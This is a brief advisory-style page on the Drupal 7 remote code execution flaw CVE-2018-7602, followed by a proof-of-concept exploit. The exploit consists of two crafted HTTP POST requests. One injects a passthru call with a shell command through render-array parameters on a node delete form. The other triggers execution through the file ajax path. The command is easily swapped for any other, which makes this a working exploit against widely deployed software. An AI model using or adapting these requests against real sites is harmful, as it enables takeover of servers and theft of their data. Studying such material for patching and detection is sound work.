Drupal core Remote Code Execution(CVE-2018-7602)

A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.

Updated — this vulnerability is being exploited in the wild.

Poc

This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]

Retrieve the form_build_id from the response, and then triggering the exploit with :

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]

This will display the result of the whoami command.